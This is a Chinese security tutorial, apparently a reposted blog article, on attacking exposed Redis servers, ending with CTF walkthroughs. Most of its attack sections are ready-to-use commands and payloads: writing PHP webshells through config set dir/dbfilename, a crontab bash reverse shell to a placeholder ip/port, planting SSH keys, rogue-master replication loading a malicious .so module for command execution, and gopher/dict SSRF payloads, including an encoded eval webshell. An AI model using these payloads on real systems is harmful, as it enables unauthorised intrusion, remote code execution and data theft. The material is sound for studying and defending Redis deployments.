Redis 安全问题

admin 2022年3月2日12:50:06评论52 views字数 7860阅读26分12秒阅读模式

1

Redis基础


一些基础操作

redis是一个key-value型数据库,详细基础知识可以参考:https://www.runoob.com/redis,这里把一些要点给罗列出来
  • ubuntu 安装 redis

sudo apt-get update
sudo apt-get install redis-server
  • 启动 redis 和 client 客户端连接

redis-server指的是 redis 服务器,可以使用-port指定端口,默认是6379
redis-server
redis-cli指的是 redis 命令行客户端
redis-cli -h 127.0.0.1 -p 6379
  • 设置键值对

分别用setget来设置和获取键值对,用keys *获取redis中所有可用的key
127.0.0.1:6379> set a 1
OK
127.0.0.1:6379> get a
"1"
127.0.0.1:6379> keys *
1) "a"
  • 配置查看和修改

redis 的配置文件名为 redis.conf,在 windows 下为 redis.windows.conf,我们可以通过config命令获取配置项等,这里有两个特别注意一下就是 dir 指定本地数据库存放目录,dbfilename指定本地数据库文件名,默认值为 dump.rdb
127.0.0.1:6302> config get *
...
127.0.0.1:6302> config get dir
1) "dir"
2) "/data"
127.0.0.1:6302> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
然后修改的话可以使用set
127.0.0.1:6379> config set loglevel "notice"
OK
127.0.0.1:6379> config get loglevel
1) "loglevel"
2) "notice"

数据类型

Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)

redis协议

redis 使用的是 resp 协议,通过 wireshark 抓本地的包,然后设置连上 redis 再设置个键值对观察一下他的协议格式
Redis 安全问题
  • *3表示set a 1这样的以空格为分割的元组的属性个数

  • $3表示set的长度,同理往下的$都是表示长度

所以可以得出 redis 协议的格式如下
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF
注意这里每一行后面都是由CRLF终止的

两种持久化运作方案

  • RDB

RDB是对 redis 中的数据执行周期性的持久化,通过配置文件中设置检查间隔时间与备份触发条件来对数据进行周期性的持久化
  • AOE

AOF机制对每条写入命令作为日志记录,以append-only的模式写入一个日志文件中,在 redis 重启的时候,可以通过回放AOF日志中的写入指令来重新构建整个数据集
更多可以参考:http://redis.io/topics/persistence

2

未授权访问的利用

这个漏洞产生的原因是 redis 直接绑定在 0.0.0.0:6379 上,并且默认情况下密码会为空,也就是说没对访问IP,端口进行限制,以及设置密码等措施,那么攻击者就可以未授权访问 redis,从而进行写 webshell 等一系列的操作
然后 redis 的版本是在3.2以上的话,复现时需要编辑修改/etc/redis/redis.conf文件
  • 注释bind 127.0.0.1

  • protected-mode的值设为 no

修改为之后关闭 redis 进程,在使用kill -9 pid仍然无法停止 redis 的话,可以使用如下命令
/etc/init.d/redis-server stop
然后用如下命令重新启动 redis
sudo redis-server /etc/redis/redis.conf

写webshell

利用 redis 备份文件向 web 根目录写 webshell,使用条件:
  • 已知网站根目录

  • 有文件读写权限

┌──(root kali)-[~]
└─# redis-cli -h 192.168.0.103 -p 6379
192.168.0.103:6379> config set dir /var/www/html
OK
192.168.0.103:6379> config set dbfilename shell.php
OK
192.168.0.103:6379> set shell "<?php eval($_GET[1]);?>"
OK
192.168.0.103:6379> save
OK
可以看到我们已经成功的写入
Redis 安全问题
还有就是执行flushall的话,会删掉 redis 内的全部键值对

crontab反弹shell

写定时任务的两个文件:
  1. /var/spool/cron/ 目录下存放的是每个用户包括 root 的 crontab 任务,Ubuntu 系统在/var/spool/cron/crontabs/<username>,Centos 系统则在/var/spool/cron/<username>

  2. /etc/crontab 这个文件负责调度各种管理和维护任务,Centos 和 Ubuntu 系统均存在这个文件,需要 root 权限

  • bash 反弹 shell

这种方法在 ubuntu 不能够使用,原因有两个
  1. 如果写/etc/crontab文件,会夹杂脏数据导致命令语法报错

  2. 如果写/var/spool/cron/crontabs/<username>文件因为 redis 写 644 的权限,但 ubuntu 要求执行定时任务文件权限必须是 600,否则报错INSECURE MODE (mode 0600 expected) (crontabs/root),并且写这个文件也会语法报错

但是在 centos 上则不会,所以在 centos 上可以使用这种方法
config set dir /var/spool/cron
config set dbfilename root
set shell "nn*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1nn"
save

写ssh-key

使用条件比较苛刻:
  • redis 是以 root 权限启动

  • 允许密钥登陆

一般 ssh 公钥存放目录为/root/.ssh,目的就是将自己的公钥写入目标服务器的 /root/.ssh文件夹的authotrized_keys文件中,进而可以直接使用对应的私钥登录目标服务器,复现步骤如下
  1. 在本地生成公私钥 ssh-keygen -t rsa

Redis 安全问题
  1. 将公钥写入临时文件中

(echo -e "nn"cat ~/.ssh/id_rsa.pub; echo -e "nn") > /tmp/rsa.txt   
  1. 同样的使用 config 写入文件

cat /tmp/rsa.txt | redis-cli -h ip -p 6379 -x set rsa
redis-cli -h ip -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
  1. ssh登录

ssh -i id_rsa root@ip
网上有利用脚本:https://github.com/JoyChou93/hackredis

主从复制

主从复制基础

主从复制,是指将一台 Redis 服务器的数据,复制到其他的 Redis 服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点,从机只负责读,主机只负责写
默认情况下,每台Redis服务器都是主节点,且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点,从节点也可以设置为其他节点的主节点,此时就达成了一个集群
然后起两个 redis5.0 的 docker
docker run -p 6301:6379 -d redis:5.0 redis-server
docker run -p 6302:6379 -d redis:5.0 redis-server
  • 主节点端口:master:6301

  • 从节点端口:slave:6302

从节点要复制主节点命令slaveof ip port
要断开则用slaveof no one
Redis 安全问题
这里可以看出主节点的操作会和从节点同步
通常在 redis4.0 以前可以把 shell 写进主节点的键值对里面,然后通过主从复制把 shell 复制过来,而在 4.x 和 5.x 则可以通过外部拓展,构造恶意.so文件,然后用 python 起一个服务去模拟 redis 的主节点,并且在全量复制的时候把数据库文件替换成恶意.so文件,从而达到 rce

主从复制RCE

  • 配合模块加载 rce

在配合主从复制之前,先了解一下模块加载是什么回事,redis 从 4.0 版本开始加入了对外部扩展模块的支持,模块的加载方式:
  1. 一种是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在 redis 启动时加载

  2. 另一种方式在运行时使用命令MODULE LOAD /path/to/mymodule.so加载。加载的模块可以使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸载

这里为了方便直接把.so文件复制到容器里面
docker cp /home/kawhi/jiaoben/RedisModules-ExecuteCommand-master/module.so modest_nobel:/data/exp.so
然后执行
module load /data/exp.so
system.exec "whoami"
Redis 安全问题
可以看到已经漏洞利用成功
再说回到主从复制中,主节点可以通过 fullresync (全量复制)同步.so文件到从节点上,进而执行命令,复现过程需要两个脚本:
生成.so文件:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
恶意端:https://github.com/LoRexxar/redis-rogue-server
原理就是通过模拟恶意服务端来作为主节点,并模拟 fullresync 请求,我们将生成的so文件放到恶意端的脚本目录下,然后运行
Redis 安全问题
然后使用 system.exec "whoami" 的形式来执行命令

Redis 安全问题

可以看到已经成功执行命令
或者可以用vulhub的脚本:https://github.com/vulhub/redis-rogue-getshell


3


SSRF 与 redis
ssrf 打 redis 就是将上面的未授权访问的一些方法伪造成 redis 的数据,然后进行编码,再通过 gopher 协议等发送到存在 redis 的服务器上

gopher协议的利用

gopher 协议默认端口是70,因为他支持多行所以需要加一个字符被他吃掉,使用格式gopher://ip:port/_data,我们可以通过它来发送 redis 的数据,比如设置一个键值对
import urllib
import requests
test =
"""*3
$3
set
$5
kawhi
$3
123
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
#_%2A3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Akawhi%0D%0A%243%0D%0A123%0D%0A
Redis 安全问题

gopher协议猜测弱口令

我们可以使用 gopher 协议来猜测 redis 的弱口令
首先在redis-cli连上之后使用config set requirepass "123456"设置 redis 的密码
或者直接修改redis.conf文件
sed -i 's/#requirepass 123456/requirepass 123456/g' /etc/redis/redis.conf
我们设置好密码之后可以抓包看到其实是发送了这么一段命令
Redis 安全问题
而这是可以进行伪造的,脚本如下
import urllib
import requests
test =
"""*2
$4
AUTH
$6
123456
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
如果密码正确的话,会回显+ok
密码错误则会报错
Redis 安全问题
由此我们甚至可以写一个脚本来爆破弱口令

gopher协议主从复制

因为我们需要将slave of命令通过 ssrf 的 gopher 协议发到目标机上,所以没办法像上面一样用脚本一键rce,我们可以用一个被动连接的主机来进行主从复制,脚本地址:https://github.com/Dliv3/redis-rogue-server
我们可以先在 redis 的客户端试一下能不能行,如下
Redis 安全问题
Redis 安全问题
发现已经漏洞成功利用,然后再把上面的命令转成 redis 的协议格式,
*4
$6
config
$3
set
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$7
slaveof
$13   //ip长度
192.168.2.105 //ip
$5   //端口长度
21000 //端口
*3
$6
module
$4
load
$11
/tmp/exp.so
*2
$11
system.exec
$2
id
*1
$4
quit
再用上面的脚本编码即可
Redis 安全问题

gopher协议其他部分

剩余部分的未授权访问利用也是差不多的,就不赘述了,也可以直接用以下工具编码
可以webshell定时任务密钥模块加载等功能,地址:
https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
或者这个工具gopherus可以webshell定时任务一键生成
https://github.com/tarunkant/Gopherus

dict协议的利用

我们知道 dict 协议通常是可以用来探测端口信息的,例如
curl dict://127.0.0.1:6379/info
Redis 安全问题
但是 dict 协议还有一个功能就是利用格式如dict://serverip:port/命令:参数 来发送 redis 命令,例如
curl "dict://192.168.2.107:6379/set:kawhi:123456"
这里的:也可以换成空格
Redis 安全问题

dict协议写shell

如果我们换成
curl "dict://192.168.2.107:6379/set:shell:<?php phpinfo();?>"
会发现只接收到一部分,?号后面被截断了
192.168.2.107:6379> get shell
"<"
有三种方法可以绕过
  • 第一种

这里可以参考这篇文章的绕过方法:https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ
主要是把<?等特殊符号转义编码了
link.php?u=dict://0:6379/set:shell:"x3Cx3Fphpx20echo`$_GET[x]`x3Bx3Fx3E"
link.php?u=dict://0:6379/config:set:dir:/var/www/html/
link.php?u=dict://0:6379/config:set:dbfilename:shell.php
link.php?u=dict://0:6379/save
  • 第二种

可以参考文章:一次"SSRF-->RCE"的艰难利用
这里主要是用 bitop 命令绕过?截断
Redis 安全问题
bitop 可以将 key 进行AND(逻辑并)、OR(逻辑或)、XOR(逻辑异或)、NOT(逻辑非)四种操作中的任意一种,将结果保存到 destkey 上,这里直接给出郁离歌师傅的 payload
dict://0:6379/set:shell:"xc3xc0x8fx97x8fxdfxbfx9ax89x9ex93xd7xdbxa0xafxb0xacxabxa4xcexa2xd6xc4xc0xc1"
dict://0:6379/bitop:not:shell:shell
可以发现写入了一句话木马
192.168.2.112:6379> get shell
"<?php @eval($_POST[1]);?>"
  • 第三种

主要是利用 setbit 改动二进制的位置即可把字符变回特殊字符
Redis Setbit 命令用于对 key 所储存的字符串值,设置或清除指定偏移量上的位(bit)
这里直接给出郁离歌师傅的 payload
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<>php @eval($_POST[1]);>>"
OK
127.0.0.1:6379> setbit webshell 191 1
(integer) 0
127.0.0.1:6379> setbit webshell 15 1
(integer) 0
127.0.0.1:6379> save
OK

dict协议主从复制

和上面差不多,这里提前在主节点设置一个键值对
192.168.2.112:6301> set shell "<?php phpinfo();?>"
OK
然后用dict协议进行主从复制
dict://0:6379/slaveof:192.168.2.112:6301
dict://0:6379/config:set:dir:/var/www/html
dict://0:6379/config:set:dbfilename:shell.php
dict://0:6379/save
dict://0:6379/slaveof:no:one
Redis 安全问题
要加载.so恶意文件的话,像上面那样启动个 python 的 redis 被动连接服务即可

dict协议其他部分

Redis 安全问题
这里贴下郁离歌师傅写的,dict 协议并不能像上面 gopher协议那样来猜测弱口令。

4

经典例题

gactf2020 ssrfme

因为没有环境复现,可以参考:https://my.oschina.net/u/4593189/blog/4646830

网鼎杯 玄武 - SSRFMe

在buu平台可以复现
第一步利用 curl 和 parse_url 绕过的小trick
?url=http://[email protected]/hint.php
然后得到提示:redispass is root,可得知 redis 的弱口令是root,然后用上面的 gopher 协议主从复制去打,在自己的vps上启动被动链接
*2
$4
AUTH
$4
root
*3
$7
SLAVEOF
$2 //vpsip长度
ip //vpsip地址
$5
21000
*4
$6
CONFIG
$3
SET
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$6
MODULE
$4
LOAD
$11
/tmp/exp.so
*2
$11
system.exec
$13
cat${IFS}/fl*
*1
$4
quit
用上面的脚本编码之后再手动 url 编码一次,用 gopher 协议发过去即可
Redis 安全问题

5

参考链接
http://yulige.top/?p=775
https://xz.aliyun.com/t/7974
Redis 安全问题

点个在看 再走呀

Redis 安全问题

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月2日12:50:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis 安全问题http://cn-sec.com/archives/810616.html

发表评论

匿名网友 填写信息